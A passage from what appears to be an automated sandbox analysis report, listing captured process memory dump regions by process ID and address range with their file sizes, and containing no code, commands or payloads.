                                                                                                                                                                                                                                                                    4.7MB

                                                                                                                                                                                                                                                                  • memory/1520-22-0x00000000053C0000-0x00000000053C1000-memory.dmp

                                                                                                                                                                                                                                                                    Filesize

                                                                                                                                                                                                                                                                    4KB

                                                                                                                                                                                                                                                                  • memory/1520-21-0x00000000053B0000-0x00000000053B1000-memory.dmp

                                                                                                                                                                                                                                                                    Filesize

                                                                                                                                                                                                                                                                    4KB

                                                                                                                                                                                                                                                                  • memory/1772-1050-0x0000000069F80000-0x000000006A0FB000-memory.dmp

                                                                                                                                                                                                                                                                    Filesize

                                                                                                                                                                                                                                                                    1.5MB

                                                                                                                                                                                                                                                                  • memory/1772-937-0x0000000069F80000-0x000000006A0FB000-memory.dmp

                                                                                                                                                                                                                                                                    Filesize

                                                                                                                                                                                                                                                                    1.5MB

                                                                                                                                                                                                                                                                  • memory/1772-940-0x00007FFB0BA10000-0x00007FFB0BBEB000-memory.dmp

                                                                                                                                                                                                                                                                    Filesize

                                                                                                                                                                                                                                                                    1.9MB

                                                                                                                                                                                                                                                                  • memory/1944-134-0x0000000001120000-0x0000000001194000-memory.dmp

                                                                                                                                                                                                                                                                    Filesize

                                                                                                                                                                                                                                                                    464KB

                                                                                                                                                                                                                                                                  • memory/2360-1065-0x00007FFB0BA10000-0x00007FFB0BBEB000-memory.dmp

                                                                                                                                                                                                                                                                    Filesize

                                                                                                                                                                                                                                                                    1.9MB

                                                                                                                                                                                                                                                                  • memory/3352-191-0x000001EB95020000-0x000001EB9507E000-memory.dmp

                                                                                                                                                                                                                                                                    Filesize

                                                                                                                                                                                                                                                                    376KB

                                                                                                                                                                                                                                                                  • memory/3352-178-0x000001EB933D0000-0x000001EB9343E000-memory.dmp

                                                                                                                                                                                                                                                                    Filesize

                                                                                                                                                                                                                                                                    440KB

                                                                                                                                                                                                                                                                  • memory/3352-179-0x00007FFAEF890000-0x00007FFAF027C000-memory.dmp

                                                                                                                                                                                                                                                                    Filesize

                                                                                                                                                                                                                                                                    9.9MB

                                                                                                                                                                                                                                                                  • memory/3352-181-0x000001EBAD9B0000-0x000001EBAD9C0000-memory.dmp

                                                                                                                                                                                                                                                                    Filesize

                                                                                                                                                                                                                                                                    64KB

                                                                                                                                                                                                                                                                  • memory/3508-16-0x0000000000030000-0x00000000004EC000-memory.dmp

                                                                                                                                                                                                                                                                    Filesize

                                                                                                                                                                                                                                                                    4.7MB

                                                                                                                                                                                                                                                                  • memory/3508-1-0x00000000774A4000-0x00000000774A5000-memory.dmp

                                                                                                                                                                                                                                                                    Filesize

                                                                                                                                                                                                                                                                    4KB

                                                                                                                                                                                                                                                                  • memory/3508-0-0x0000000000030000-0x00000000004EC000-memory.dmp

                                                                                                                                                                                                                                                                    Filesize

                                                                                                                                                                                                                                                                    4.7MB

                                                                                                                                                                                                                                                                  • memory/3508-9-0x00000000049C0000-0x00000000049C1000-memory.dmp

                                                                                                                                                                                                                                                                    Filesize

                                                                                                                                                                                                                                                                    4KB

                                                                                                                                                                                                                                                                  • memory/3508-8-0x0000000004980000-0x0000000004981000-memory.dmp

                                                                                                                                                                                                                                                                    Filesize

                                                                                                                                                                                                                                                                    4KB

                                                                                                                                                                                                                                                                  • memory/3508-7-0x0000000004970000-0x0000000004971000-memory.dmp

                                                                                                                                                                                                                                                                    Filesize

                                                                                                                                                                                                                                                                    4KB

                                                                                                                                                                                                                                                                  • memory/3508-6-0x00000000049D0000-0x00000000049D1000-memory.dmp

                                                                                                                                                                                                                                                                    Filesize

                                                                                                                                                                                                                                                                    4KB

                                                                                                                                                                                                                                                                  • memory/3508-5-0x0000000004990000-0x0000000004991000-memory.dmp

                                                                                                                                                                                                                                                                    Filesize

                                                                                                                                                                                                                                                                    4KB

                                                                                                                                                                                                                                                                  • memory/3508-4-0x00000000049B0000-0x00000000049B1000-memory.dmp

                                                                                                                                                                                                                                                                    Filesize

                                                                                                                                                                                                                                                                    4KB

                                                                                                                                                                                                                                                                  • memory/3508-3-0x00000000049A0000-0x00000000049A1000-memory.dmp

                                                                                                                                                                                                                                                                    Filesize

                                                                                                                                                                                                                                                                    4KB

                                                                                                                                                                                                                                                                  • memory/3508-2-0x0000000000030000-0x00000000004EC000-memory.dmp

                                                                                                                                                                                                                                                                    Filesize

                                                                                                                                                                                                                                                                    4.7MB

                                                                                                                                                                                                                                                                  • memory/3508-12-0x00000000049E0000-0x00000000049E1000-memory.dmp

                                                                                                                                                                                                                                                                    Filesize

                                                                                                                                                                                                                                                                    4KB

                                                                                                                                                                                                                                                                  • memory/3508-11-0x00000000049F0000-0x00000000049F1000-memory.dmp

                                                                                                                                                                                                                                                                    Filesize

                                                                                                                                                                                                                                                                    4KB

                                                                                                                                                                                                                                                                  • memory/3668-53-0x0000000000400000-0x000000000044C000-memory.dmp

                                                                                                                                                                                                                                                                    Filesize

                                                                                                                                                                                                                                                                    304KB

                                                                                                                                                                                                                                                                  • memory/3668-47-0x0000000000400000-0x000000000044C000-memory.dmp

                                                                                                                                                                                                                                                                    Filesize

                                                                                                                                                                                                                                                                    304KB

                                                                                                                                                                                                                                                                  • memory/3668-50-0x0000000000400000-0x000000000044C000-memory.dmp

                                                                                                                                                                                                                                                                    Filesize

                                                                                                                                                                                                                                                                    304KB

                                                                                                                                                                                                                                                                  • memory/3668-52-0x00000000009F0000-0x00000000009F1000-memory.dmp

                                                                                                                                                                                                                                                                    Filesize

                                                                                                                                                                                                                                                                    4KB

                                                                                                                                                                                                                                                                  • memory/4116-132-0x0000000000400000-0x000000000044E000-memory.dmp

                                                                                                                                                                                                                                                                    Filesize

                                                                                                                                                                                                                                                                    312KB

                                                                                                                                                                                                                                                                  • memory/4116-135-0x0000000000400000-0x000000000044E000-memory.dmp

                                                                                                                                                                                                                                                                    Filesize

                                                                                                                                                                                                                                                                    312KB

                                                                                                                                                                                                                                                                  • memory/4116-126-0x0000000000400000-0x000000000044E000-memory.dmp

                                                                                                                                                                                                                                                                    Filesize

                                                                                                                                                                                                                                                                    312KB

                                                                                                                                                                                                                                                                  • memory/4196-68-0x0000000000A60000-0x0000000000D18000-memory.dmp

                                                                                                                                                                                                                                                                    Filesize

                                                                                                                                                                                                                                                                    2.7MB

                                                                                                                                                                                                                                                                  • memory/4236-265-0x0000000000400000-0x000000000063B000-memory.dmp

                                                                                                                                                                                                                                                                    Filesize

                                                                                                                                                                                                                                                                    2.2MB

                                                                                                                                                                                                                                                                  • memory/4236-260-0x0000000000400000-0x000000000063B000-memory.dmp

                                                                                                                                                                                                                                                                    Filesize

                                                                                                                                                                                                                                                                    2.2MB

                                                                                                                                                                                                                                                                  • memory/4236-359-0x0000000061E00000-0x0000000061EF3000-memory.dmp

                                                                                                                                                                                                                                                                    Filesize

                                                                                                                                                                                                                                                                    972KB

                                                                                                                                                                                                                                                                  • memory/4264-220-0x0000000000400000-0x0000000000408000-memory.dmp

                                                                                                                                                                                                                                                                    Filesize

                                                                                                                                                                                                                                                                    32KB

                                                                                                                                                                                                                                                                  • memory/4396-177-0x000000001D2C0000-0x000000001D2FE000-memory.dmp

                                                                                                                                                                                                                                                                    Filesize

                                                                                                                                                                                                                                                                    248KB

                                                                                                                                                                                                                                                                  • memory/4396-170-0x0000000000A30000-0x0000000000A40000-memory.dmp

                                                                                                                                                                                                                                                                    Filesize

                                                                                                                                                                                                                                                                    64KB

                                                                                                                                                                                                                                                                  • memory/4396-107-0x0000000000A30000-0x0000000000A40000-memory.dmp

                                                                                                                                                                                                                                                                    Filesize

                                                                                                                                                                                                                                                                    64KB

                                                                                                                                                                                                                                                                  • memory/4396-171-0x000000001D3D0000-0x000000001D4DA000-memory.dmp

                                                                                                                                                                                                                                                                    Filesize

                                                                                                                                                                                                                                                                    1.0MB

                                                                                                                                                                                                                                                                  • memory/4396-172-0x000000001BEF0000-0x000000001BF02000-memory.dmp

                                                                                                                                                                                                                                                                    Filesize

                                                                                                                                                                                                                                                                    72KB

                                                                                                                                                                                                                                                                  • memory/4396-180-0x0000000000A30000-0x0000000000A40000-memory.dmp

                                                                                                                                                                                                                                                                    Filesize

                                                                                                                                                                                                                                                                    64KB

                                                                                                                                                                                                                                                                  • memory/4396-95-0x00000000001E0000-0x00000000002A0000-memory.dmp

                                                                                                                                                                                                                                                                    Filesize

                                                                                                                                                                                                                                                                    768KB

                                                                                                                                                                                                                                                                  • memory/4396-106-0x00007FFAEF890000-0x00007FFAF027C000-memory.dmp

                                                                                                                                                                                                                                                                    Filesize

                                                                                                                                                                                                                                                                    9.9MB

                                                                                                                                                                                                                                                                  • memory/4680-82-0x00000000056F0000-0x0000000005BEE000-memory.dmp

                                                                                                                                                                                                                                                                    Filesize

                                                                                                                                                                                                                                                                    5.0MB

                                                                                                                                                                                                                                                                  • memory/4680-85-0x00000000054D0000-0x00000000054E0000-memory.dmp

                                                                                                                                                                                                                                                                    Filesize

                                                                                                                                                                                                                                                                    64KB

                                                                                                                                                                                                                                                                  • memory/4680-80-0x00000000009A0000-0x00000000009F2000-memory.dmp

                                                                                                                                                                                                                                                                    Filesize

                                                                                                                                                                                                                                                                    328KB

                                                                                                                                                                                                                                                                  • memory/4680-81-0x00000000726F0000-0x0000000072DDE000-memory.dmp

                                                                                                                                                                                                                                                                    Filesize

                                                                                                                                                                                                                                                                    6.9MB

                                                                                                                                                                                                                                                                  • memory/4680-83-0x0000000005290000-0x0000000005322000-memory.dmp

                                                                                                                                                                                                                                                                    Filesize

                                                                                                                                                                                                                                                                    584KB

                                                                                                                                                                                                                                                                  • memory/4680-130-0x0000000006A50000-0x0000000006A9B000-memory.dmp

                                                                                                                                                                                                                                                                    Filesize

                                                                                                                                                                                                                                                                    300KB

                                                                                                                                                                                                                                                                  • memory/4680-84-0x0000000005270000-0x000000000527A000-memory.dmp

                                                                                                                                                                                                                                                                    Filesize

                                                                                                                                                                                                                                                                    40KB

                                                                                                                                                                                                                                                                  • memory/4680-127-0x00000000068D0000-0x000000000690E000-memory.dmp

                                                                                                                                                                                                                                                                    Filesize

                                                                                                                                                                                                                                                                    248KB

                                                                                                                                                                                                                                                                  • memory/4680-105-0x0000000005DB0000-0x0000000005E26000-memory.dmp

                                                                                                                                                                                                                                                                    Filesize

                                                                                                                                                                                                                                                                    472KB

                                                                                                                                                                                                                                                                  • memory/4680-108-0x0000000006560000-0x000000000657E000-memory.dmp

                                                                                                                                                                                                                                                                    Filesize

                                                                                                                                                                                                                                                                    120KB

                                                                                                                                                                                                                                                                  • memory/4680-119-0x0000000006DD0000-0x00000000073D6000-memory.dmp

                                                                                                                                                                                                                                                                    Filesize

                                                                                                                                                                                                                                                                    6.0MB

                                                                                                                                                                                                                                                                  • memory/4680-124-0x0000000006940000-0x0000000006A4A000-memory.dmp

                                                                                                                                                                                                                                                                    Filesize

                                                                                                                                                                                                                                                                    1.0MB

                                                                                                                                                                                                                                                                  • memory/4680-125-0x0000000006870000-0x0000000006882000-memory.dmp

                                                                                                                                                                                                                                                                    Filesize

                                                                                                                                                                                                                                                                    72KB

                                                                                                                                                                                                                                                                  • memory/5148-878-0x0000000000400000-0x0000000003005000-memory.dmp

                                                                                                                                                                                                                                                                    Filesize

                                                                                                                                                                                                                                                                    44.0MB

                                                                                                                                                                                                                                                                  • memory/5148-1069-0x0000000000400000-0x0000000003005000-memory.dmp

                                                                                                                                                                                                                                                                    Filesize

                                                                                                                                                                                                                                                                    44.0MB

                                                                                                                                                                                                                                                                  • memory/5196-1081-0x0000000000400000-0x0000000003005000-memory.dmp

                                                                                                                                                                                                                                                                    Filesize

                                                                                                                                                                                                                                                                    44.0MB

                                                                                                                                                                                                                                                                  • memory/5196-884-0x0000000000400000-0x0000000003005000-memory.dmp

                                                                                                                                                                                                                                                                    Filesize

                                                                                                                                                                                                                                                                    44.0MB

                                                                                                                                                                                                                                                                  • memory/5196-577-0x0000000000400000-0x0000000003005000-memory.dmp

                                                                                                                                                                                                                                                                    Filesize

                                                                                                                                                                                                                                                                    44.0MB

                                                                                                                                                                                                                                                                  • memory/5360-581-0x0000000000400000-0x0000000003005000-memory.dmp

                                                                                                                                                                                                                                                                    Filesize

                                                                                                                                                                                                                                                                    44.0MB

                                                                                                                                                                                                                                                                  • memory/5360-926-0x0000000000400000-0x0000000003005000-memory.dmp

                                                                                                                                                                                                                                                                    Filesize

                                                                                                                                                                                                                                                                    44.0MB

                                                                                                                                                                                                                                                                  • memory/5360-1111-0x0000000000400000-0x0000000003005000-memory.dmp

                                                                                                                                                                                                                                                                    Filesize

                                                                                                                                                                                                                                                                    44.0MB

                                                                                                                                                                                                                                                                  • memory/5532-374-0x0000000000400000-0x0000000000408000-memory.dmp

                                                                                                                                                                                                                                                                    Filesize

                                                                                                                                                                                                                                                                    32KB

                                                                                                                                                                                                                                                                  • memory/5556-971-0x0000000000400000-0x0000000000846000-memory.dmp

                                                                                                                                                                                                                                                                    Filesize

                                                                                                                                                                                                                                                                    4.3MB

                                                                                                                                                                                                                                                                  • memory/5556-975-0x0000000000400000-0x0000000000846000-memory.dmp

                                                                                                                                                                                                                                                                    Filesize

                                                                                                                                                                                                                                                                    4.3MB

                                                                                                                                                                                                                                                                  • memory/5644-588-0x0000000140000000-0x000000014075E000-memory.dmp

                                                                                                                                                                                                                                                                    Filesize

                                                                                                                                                                                                                                                                    7.4MB

                                                                                                                                                                                                                                                                  • memory/5652-1073-0x0000000000400000-0x0000000003005000-memory.dmp

                                                                                                                                                                                                                                                                    Filesize

                                                                                                                                                                                                                                                                    44.0MB

                                                                                                                                                                                                                                                                  • memory/5652-883-0x0000000000400000-0x0000000003005000-memory.dmp

                                                                                                                                                                                                                                                                    Filesize

                                                                                                                                                                                                                                                                    44.0MB

                                                                                                                                                                                                                                                                  • memory/5916-1055-0x0000000000400000-0x0000000002C46000-memory.dmp

                                                                                                                                                                                                                                                                    Filesize

                                                                                                                                                                                                                                                                    40.3MB

                                                                                                                                                                                                                                                                  • memory/5916-774-0x0000000000400000-0x0000000002C46000-memory.dmp

                                                                                                                                                                                                                                                                    Filesize

                                                                                                                                                                                                                                                                    40.3MB

                                                                                                                                                                                                                                                                  • memory/6108-872-0x00007FFB0BA10000-0x00007FFB0BBEB000-memory.dmp

                                                                                                                                                                                                                                                                    Filesize

                                                                                                                                                                                                                                                                    1.9MB

                                                                                                                                                                                                                                                                  • memory/6108-871-0x0000000069F80000-0x000000006A0FB000-memory.dmp

                                                                                                                                                                                                                                                                    Filesize

                                                                                                                                                                                                                                                                    1.5MB

                                                                                                                                                                                                                                                                  • memory/6108-962-0x0000000069F80000-0x000000006A0FB000-memory.dmp

                                                                                                                                                                                                                                                                    Filesize

                                                                                                                                                                                                                                                                    1.5MB